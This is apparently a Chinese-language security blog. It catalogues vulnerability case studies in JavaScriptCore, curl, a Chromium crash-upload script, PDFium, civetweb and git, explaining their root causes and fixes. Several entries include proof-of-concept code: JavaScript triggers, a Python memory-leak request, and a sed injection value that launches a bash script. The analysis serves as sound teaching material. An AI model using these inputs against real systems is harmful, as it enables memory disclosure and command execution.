Wednesday, January 9, 2019

[12] 脚本编译语言带有unicode字符

https://bugs.chromium.org/p/chromium/issues/detail?id=70718
https://bugs.webkit.org/show_bug.cgi?id=52390
https://bugs.webkit.org/show_bug.cgi?id=52396
https://bugs.webkit.org/show_bug.cgi?id=50929

和yy规则配合后,导致错误的规则解析

<script id="per-fragment-lighting-fs" type="x-shader/x-fragment">
  float specularLightWeighténg = 0.0;
</script>

Monday, January 7, 2019

[11] 错误调用名称近似但返回类型相同的方法

https://www.exploit-db.com/exploits/46071

void AbstractValue::set(Graph& graph, RegisteredStructure structure)
{
    RELEASE_ASSERT(structure);
    
    m_structure = structure;

    m_arrayModes = asArrayModes(structure->indexingType());  <<<<<<<<
    m_type = speculationFromStructure(structure.get());
    m_value = JSValue();
    
    checkConsistency();
    assertIsRegistered(graph);
}

显然,此处代码应该调用IndexingMode而不是indexingType。

[10] 关键判断有效性语句的条件绕过

https://www.exploit-db.com/exploits/46072

对于代码:

    if ((storage->hasHoles() && this->structure(vm)->holesMustForwardToPrototype(vm, this)) 
        || hasSparseMap() 
        || shouldUseSlowPut(indexingType())) {
        return false;
    }

该函数应该防止带hole的数组进入后续代码。但是这种类型的数组实际上可以通过让holesMustForwardToPrototype方法返回false来实现。
除非数组上有任何索引访问器或原型链中的Proxy,否则该方法将只返回false。导致此处关键判断有效性语句失效。

PoC:

function main() {
    let arr = [1];

    arr.length = 0x100000;
    arr.splice(0, 0x11);

    arr.length = 0xfffffff0;
    arr.splice(0xfffffff0, 0, 1);
}

main();

[09] 缓冲区截断后长度信息未能正确同步

https://curl.haxx.se/docs/CVE-2017-1000100.html

在curl / libcurl进行TFTP传输时,会给出一个包含很长文件名(长度大约为515字节)的URL,文件名会被截断以适应缓冲区边界,但缓冲区大小仍然会被错误地更新以便使用未截断的长度。
然后在sendto()调用中使用这个过大的值,使curl尝试发送的数据多于实际放入缓冲区的数据。

@@ -489,10 +489,15 @@ static CURLcode tftp_send_first(tftp_state_data_t *state, tftp_event_t event)
     result = Curl_urldecode(data, &state->conn->data->state.path[1], 0,
                             &filename, NULL, FALSE);
     if(result)
       return result;
 
+    if(strlen(filename) > (state->blksize - strlen(mode) - 4)) {
+      failf(data, "TFTP file name too longn");
+      return CURLE_TFTP_ILLEGAL; /* too long file name field */
+    }
+

[08] 针对用户名/密码的比较使用了非大小写敏感函数

https://curl.haxx.se/docs/CVE-2016-8616.html

重新使用连接时,curl对用户名和密码与现有连接进行不区分大小写的比较。这会导致猜测密码的复杂性下降许多。

在对代码进行重新抽象化时,我发现类似的问题通常出现在开发者封装了一个不区分大小写的比较函数,而名称却没有表示清楚。除非特别归纳测试用例,这类问题很难通过普通自动化测试发现。

-        if(!strequal(needle->user, check->user) ||
-           !strequal(needle->passwd, check->passwd)) {
+        if(strcmp(needle->user, check->user) ||
+           strcmp(needle->passwd, check->passwd)) {

[07] 部分编译器下realloc可能导致double free问题

注意到libcurl有如下漏洞:
53 double-free in curl_maprintf November 02, 2016 7.1 7.50.3 CVE-2016-8618 CWE-415: Double Free
52 double-free in krb5 code November 02, 2016 7.3 7.50.3 CVE-2016-8619 CWE-415: Double Free

在某些编译器下(如gcc),当调用realloc(ptr, 0)即size=0时,realloc将试图释放原内存。当开发人员通过realloc的返回值决定是否做失败后释放时,将可能在第二次释放处产生double free。

leonwxqian@leonwxqian-VirtualBox:~$ cat realloc.c 
#include <stdlib.h>

void main(){
  void* a = malloc(16);
  if(!realloc(a, 0))  //free 1
      free(a);           //free 2 !!!
}
leonwxqian@leonwxqian-VirtualBox:~$ ./realloctest
*** Error in `./realloctest': double free or corruption (fasttop): 0x000000000081b010 ***

Sunday, June 24, 2018

[05] 启动进程时的参数注入

https://bugs.chromium.org/p/chromium/issues/detail?id=817993

当没有正确处理参数并启动进程时,可能发生参数注入。

get_key_value() {
  local file="$1" key="$2" value

  if [ -f "${file}" ]; then
    # Return the first entry.  There shouldn't be more than one anyways.
    # Substr at length($1) + 2 skips past the key and following = sign (awk
    # uses 1-based indexes), but preserves embedded = characters.
>>>    value=$(sed -n "/^${key}[[:space:]]*=/{s:^[^=]*=::p;q}" "${file}")
  fi

  echo "${value:-undefined}"
}

......

  # Grab any variable that begins with upload_.
  local v
>>>  for k in $(get_keys "${meta_path}" "^upload_"); do
>>>    v="$(get_key_value "${meta_path}" "${k}")"
    case ${k} in
      # Product & version are handled separately.
      upload_var_prod) ;;
      upload_var_ver) ;;
      upload_var_*)
        set -- "$@" -F "${upload_prefix}${k#upload_var_}=${v}"
        ;;
      upload_text_*)
        if [ -r "${v}" ]; then
          set -- "$@" -F "${upload_prefix}${k#upload_text_}=<${v}"
        fi
        ;;
      upload_file_*)
        if [ -r "${v}" ]; then
          set -- "$@" -F "${upload_prefix}${k#upload_file_}=@${v}"
        fi
        ;;
    esac
  done

输入为

/p;s^.*^setsid${IFS}bash${IFS}<path-to-shell-script>${IFS}&^ep;/=1

时发生注入,原因是sed的-e参数为执行脚本。

-e script, --expression=script
add the script to the commands to be executed

[04] 内部代码串联触发callback并错误更新状态导致UAF

https://chromium-review.googlesource.com/c/chromium/src/+/964592
https://bugs.chromium.org/p/chromium/issues/detail?id=822091

PoC:

Document Javascript
-------------------
01  app.setTimeOut('this.pageNum = 4',1000);
02  app.setTimeOut('this.pageNum = 1;',2000);

Page Close event of First Page
-------------------------------
03  this.getField('txt2').setFocus();

Format event of "txt1" Text Field on First Page
---------------------------------------------
04  a = this.pageNum;

当第一条指令执行时,页面设置了4个page,每个page为一个对象,当第二条指令执行时,页面被设置为1页。
第三句执行时,程序会调用GetVisiblePageIndex重新计算页面,同时,pages_[page_index]->GetPage() 会触发Format event handler,即第4句。
第四条指令执行时,PDFiumEngine::CalculateVisiblePages()将会被调用,它使用std::swap交换visible_pages_和一个空数组,因此,visible_pages_实际上内容都是被delete的状态。

注意04实际上是由03触发调用的,03在调用04之前,将visible_pages_无效化了,所以,在04的代码GetVisiblePageIndex执行时,将会访问到被visible_pages_中被释放的内容,产生UAF。

PDFiumEngine::CalculateVisiblePages() 
{
  ...........
  std::vector<int> formerly_visible_pages;
  std::swap(visible_pages_, formerly_visible_pages);  <--- C. 04 invalidate
  ...........
}

int PDFiumEngine::GetVisiblePageIndex(FPDF_PAGE page) {
  for (int page_index : visible_pages_) {              <--- A. 03 loop
    if (pages_[page_index]->GetPage() == page)   <--- B. 03 triggers 04
      return page_index;                                      <--- D. visible_pages_ invalid now, in next loop, this code will fail. UAF.
  }
  return -1;
}

Saturday, June 23, 2018

[03] 跨平台的代码实现问题

此问题是我在审计旧版本的libcivetweb库时发现,线上版本已在2017年之后的某个版本修复

mg_snprintf(conn, NULL, /* No truncation check for ebuf */ ebuf, sizeof(ebuf), “Bad HTTP version: [%s]”, ri->http_version);
mg_send_http_error(conn, 505, “%s”, ebuf);

这里,mg_snprintf() 是vsnprintf的Wrapper。需要注意的是,在Windows上,*snprintf族函数在输入长度>buf长度时,并不会添加。 参考MSDN (https://msdn.microsoft.com/en-us/library/2ts7cx93.aspx):

“The _snprintf family of functions only appends a terminating null character if the formatted string length is strictly less than count characters.”

所以,如果在Visual Studio和Windows环境下编译这段代码,然后发送一个错误的HTTP版本号,如HTTP/1.XXXXXXXXX(>sizeof(ebuf)) , 输出的字符串 “Bad HTTP version:[1.XXXXX” 将不会有结尾。

所以,当下一行被执行时,
mg_send_http_error(conn, 505, “%s”, ebuf);

这个字符串会发送给用户,注意这个字符串是没有结尾的,所以这里实际上会越界读取内容,并发送紧邻的内存数据,导致服务器内存信息泄露。

——————–英文版—————–

Multiple Information Leak Vulnerabilities on Windows Platform (Windows Only)

Please note this vulnerability is already fixed in early 2017, this is a report based on the older version (year 2014).

civetweb.c
mg_snprintf(conn, NULL, /* No truncation check for ebuf */ ebuf, sizeof(ebuf), “Bad HTTP version: [%s]”, ri->http_version);
mg_send_http_error(conn, 505, “%s”, ebuf);

mg_snprintf() is a wrapper for vsnprintf. Please note on Windows platform, *snprintf family functions will not add a terminating zero to the buffer if the length of input is larger or equal to the given length, as the MSDN (https://msdn.microsoft.com/en-us/library/2ts7cx93.aspx) says:

“The _snprintf family of functions only appends a terminating null character if the formatted string length is strictly less than count characters.”

So actually when you compile this code & run this code use Visual Studio & Windows, and send an HTTP request with malformed HTTP/1.XXXXXXXXX(>sizeof(ebuf)) , the output string “Bad HTTP version:[1.XXXXX” will be truncated and with no x00 append to it.

When the second line is being executed:

mg_send_http_error(conn, 505, “%s”, ebuf);

This string is send to HTTP buffer, and the memory data adjacent to “ebuf” will be leaking to the attacker. Other snprintf calls without mandatory adding terminating zero will also face to this problem.

PoC:

#!/bin/env python
import time
import socket

host1 = '127.0.0.1'
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host1, 8081))

data_to_send=("GET / HTTP/1." +  '1' * 120 + " rnContent-Length: 0rnrnrnrn")

print(data_to_send)
s.send(data_to_send)

while True:
    new = s.recv(4096)
    if not new:
      s.close()
      break
    print(new)

s.close()

Friday, June 1, 2018

[02] 路径穿越导致文件覆盖或非预期操作

https://github.com/Rogdham/CVE-2018-11235
https://blogs.msdn.microsoft.com/devops/2018/05/29/announcing-the-may-2018-git-security-vulnerability/

When you clone it with the –recurse-submodules flag, the evil script is executed:

$ git clone --recurse-submodules repo dest_dir
Cloning into 'dest_dir'...
done.
Submodule 'Spoon-Knife' (https://github.com/octocat/Spoon-Knife) registered for path 'Spoon-Knife'
Submodule '../../modules/evil' (https://github.com/octocat/Spoon-Knife) registered for path 'evil'
Cloning into '/snip/dest_dir/Spoon-Knife'...
Submodule path 'Spoon-Knife': checked out 'd0dd1f61b33d64e29d8bc1372a94ef6a2fee76a9'

sub module 包含 ../ 时,会发生路径穿越 ‘../../modules/evil’ ,将内容写入其他目录,并因此修改git的配置文件,执行远程代码。

修正:https://github.com/git/git/commit/0383bbb9015898cbc79abd7b64316484d7713b44 (submodule-config: verify submodule names as paths)
检查路径中的../